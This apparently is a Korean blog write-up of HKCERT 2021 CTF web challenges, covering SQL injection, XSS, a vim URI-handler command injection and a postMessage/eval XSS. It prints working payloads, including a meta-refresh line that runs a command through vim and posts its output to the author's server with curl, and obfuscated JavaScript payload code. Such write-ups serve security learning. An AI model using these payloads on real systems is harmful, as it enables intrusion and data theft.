Squirrel Community 1
http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=323079825'
sql injection이 터진다.
http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=3230%20or%201
where 뒤를 true로 만들면 플래그를 얻을 수 있다.
FLAG : hkcert21{squirrels-or-1-or-2-or-3-and-you}
babyxss
그냥 xss하면 된다.
FLAG : hkcert21{zOMG_MY_KEYBOARD_IS_BROKEN_CANNOT_TURN_OFF_CAPSLOCK111111111}
babyuxss
bot url만 준다. javascript scheme 쓰면 된다.
FLAG : hkcert21{javascript_c010n_UXSSstands4UXSSedUrself_hochihai}
babyurii
#!/usr/bin/env python3
import argparse
from urllib.parse import unquote, urlparse
import os
import subprocess
def main():
p = argparse.ArgumentParser(description='Vim URI Handler')
p.add_argument('--install', action='store_true', help='Register MIME in the system')
p.add_argument('uri', nargs='?', help='URI to open')
a = p.parse_args()
if a.install:
install()
elif a.uri is not None:
open_file(a.uri)
else:
p.print_help()
def install():
path = os.path.abspath(__file__)
desktop = f"""[Desktop Entry]
Name=Open file in Vim
Type=Application
Exec=python3 {path} %u
MimeType=x-scheme-handler/vim"""
dirname = os.path.expanduser('~/.local/share/applications')
if not os.path.exists(dirname):
os.makedirs(dirname)
open(dirname+'/open_in_vim.desktop','w').write(desktop)
subprocess.check_call(['xdg-mime','default','open_in_vim.desktop','x-scheme-handler/vim'])
print('Installed')
def open_file(uri):
p = urlparse(uri)
path = unquote(p.path)
line, _, column = p.fragment.partition(':')
lc = ''
try:
lc += str(int(line))+'G'
except ValueError:
pass
try:
lc += str(int(column))+'|'
except ValueError:
pass
cmd = ['vim']
if lc != '':
cmd.append('+norm '+lc)
cmd.append(path)
try:
os.system('touch /home/as3617/exec')
subprocess.check_call(cmd)
except Exception:
pass
if __name__ == "__main__":
main()
vim을 firefox handler로 install한다.
vim:/etc/passwd#1:1
meta tag를 이용하여 위와 같이 redirect할 경우 subprocess는 다음과 같이 인자를 전달한다.
['vim','+norm 1G1|','/etc/passwd']
처음엔 fragment 부분을 통해 임의의 명령을 실행해보려했지만 실패했지만 urlparse 부분에 경로를 제대로 안줘도 잘 들어가는 것을 확인할 수 있었고 인자로 잘 전달되는 것을 확인할 수 있었다.
그럼 경로 부분에 +!~~~
와 같이 넣으면 임의의 명령을 실행할 수 있을거라 생각했고 플래그를 얻을 수 있었다.
<meta http-equiv="refresh" content="0; url=vim:+!curl myserver -F data=`/proof_7cfcd9fc-50ad-4d65-a24e-0b57ab47a376.sh`#1:1"></meta>
FLAG: hkcert21{ItsNotaBug_ItsaFeature_not_U-1F41B_but_U-1F41E}
Return_of_babyURli
위의 문제와 동일한 사이트에서 이번엔 bot의 쿠키를 탈취하면 된다.
Content-Security-Policy: default-src 'none';
csp가 설정되어서 bypass할 방법이 없어보였는데 /report page에서 xss가 가능했다. 내 서버로 불러 온 다음에 적절하게 referrer을 조작하여
iframe src에 javascript scheme이 들어가게 하면 xss를 얻을 수 있다.
FLAG : hkcert21{111y_YU57111wamaXSS1fUcanRCE_Yur1}
the wilderness
https://www.exploit-db.com/exploits/49933가 터진다. 그냥 저거 써주면 된다.
hkcert21{vu1n3r1b1li7ie5_m1gh7_c0m3_fr0m_7h3_5upp1y_ch41n}
Ophiuchus
가장 재밌는 문제였다. 대회 끝나기 7분 전에 풀었는데 티오리랑 우리팀만 풀어서 기분이 좋다. ㅎ
iframe으로 여러 페이지가 embed되있는데 output.html에서 취약점이 터진다.
<script>
onload = function(){
if(!/^#[0-9A-Z+=\[\]]{6}$/.test(location.hash)){
document.write();
}else{
document.getElementsByTagName('p')[0].innerText = location.hash.substr(1)+"!?";
onmessage = function(e){
if(e.origin !== location.origin) return;
if(document.getElementsByTagName('p')[0].innerText.indexOf(e.data) == -1) return;
if(e.data == "!"){
document.getElementsByTagName('span')[0].innerText = '';
}else if(e.data == "?"){
document.getElementsByTagName('span')[0].innerText = eval(document.getElementsByTagName('span')[0].innerText);
}else{
document.getElementsByTagName('span')[0].innerText += e.data;
}
}
}
}
onhashchange = ()=>location.reload();
</script>
eval함수로 span태그의 innerText가 들어가는데 해당 값은 postMessage함수를 통해 전달된 데이터가 들어가기 때문에 전송하는 데이터를 컨트롤 할 수 있다면 xss를 할 수 있다.
postMessage를 쓰는 page를 찾아보았는데 cursor.html에 있었다.
<script>
onresize = function(){
if((innerHeight-35) % 105 == 0 && (innerWidth-35) % 105 == 0){
parent.parent.frames[1].postMessage("ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789+ [!=?] "[(innerHeight-140)/105*13+(innerWidth-140)/105],"*");
}
}
</script>
해당 함수는 resize 이벤트가 트리거될 때 발생하고 보낼 수 있는 data는 ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789+ [!=?]
에서 한 번에 한 개씩 보낼 수 있었다.
게다가 (innerHeight-140)/105*13+(innerWidth-140)/105
를 통해 보내는 데이터가 결정되며
if(document.getElementsByTagName('p')[0].innerText.indexOf(e.data) == -1) return;
output.html에서 fragment에 있는 6개의 문자열에 포함된 data가 아니면 span tag안에 안 넣어준다. 그렇다고 fragment를 변경하면 page를 reload하기 때문에 우리가 쓸 수 있는 문자는 6개 뿐이다.
그 이후로 좀 막혀있었는데 힌트로 아래의 내용이 올라왔다.
The author's solution uses CS+[=] and the length of the payload is 216, which could be correctly executed in 30 seconds 50% of the time.
!?는 기본적으로 추가되므로 출제자는 ?!CS+[=]
만을 이용해서 풀었다는 것이다.
무엇을 사용해야할지 알았으므로 이제 payload만 짜면 된다.
일단 data는 parent.parent.frames[1].postMessage
로 날라가기 때문에 저거에 맞게 iframe을 배치해줘야한다.
a.html
- a11.html
- cursor.html
- output.html
위와 같이 iframe이 배치된다면 output.html에 접근하여 postmessage를 보내는 것이 가능하다.
이제 필요한 건 우리의 payload에 맞게 resize event를 트리거하는 것이다. innerheigth와 innerwidth의 조건에 맞게 code를 작성하면 아래와 같다.
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function plus(){
xs.height=350
xs.width=1295
}
function openn(){
xs.height=455
xs.width=560
}
function close(){
xs.height=455
xs.width=980
}
function c(){
xs.height=140
xs.width=350
}
function s(){
xs.height=140
xs.width=2030
//xs.height=245
//xs.width=665
}
function eq(){
xs.height=455
xs.width=770
}
function ev(){
xs.height=455
xs.width=875
}
function clear(){
xs.height=875
xs.width=875
}
function translate(j){
temp=''
for (x in j){
if(j[x]==='['){
temp+='openn();await sleep(42);clear();await sleep(43);'}
else if(j[x]===']'){
temp+='close();await sleep(42);clear();await sleep(43);'}
else if(j[x]==='+'){
temp+='plus();await sleep(44);clear();await sleep(43);'}
else if(j[x]==='C'){
temp+='c();await sleep(42);clear();await sleep(43);'}
else if(j[x]==='S'){
temp+='s();await sleep(42);clear();await sleep(43);'}
else if(j[x]==='='){
temp+='eq();await sleep(42);clear();await sleep(43);'}
}
eval('async function xc(){'+temp+'};xc().then(()=>ev());')}
이제 payload를 짜고 translate함수의 인자로 넘겨주면 xss를 얻을 수 있다.
payload의 간소화를 위해 eval(name)
을 만들기로 했고 아래의 payload를 실행하면 eval(name)
을 만들 수 있다.
# 303 length
[CC=[CSS==CSS]+[[]==[]]+[][CSS]][C=[++[+[]][+[]]][+[]]]+[S=C+C+C]+[CS=CSS+[]][SS=[C][+[]][CS[S+C+C]+CS[C]+CC[S+S+S+C]+CC[S+S+C]+CC[+[]]+CC[C]+CC[C+C]+CS[S+C+C]+CC[+[]]+CS[C]+CC[C]]+[]]+[CS=CC[S]+SS[S+S+S+S+S+S+S+S+C]+CC[S+C+C]+CC[S+S]+SS[S+S+S+S+S]+SS[C+C]+CC[S+C+C]+SS[S+S+S+C+C]+CC[S]+SS[S+S+S+S+S+C]]
이를 토대로 최종 페이로드를 구상하였고 플래그를 얻을 수 있었다.
payload : https://gist.github.com/as3617/5ea79d2567d8e1f40ba0b037aaf5cc38
FLAG : hkcert21{Res123Or1entedProgramm1ng__CrossSiteScripting}
'ctf writeup' 카테고리의 다른 글
Real World CTF 4th - web writeup (0) | 2022.01.30 |
---|---|
m0leconCTF 2021 final web writeup (0) | 2021.12.04 |
CyberGuardians CTF all writeup (0) | 2021.11.10 |
Hack.lu CTF 2021 - web writeup (1) | 2021.10.31 |
asis ctf 2021 - web writeup (0) | 2021.10.25 |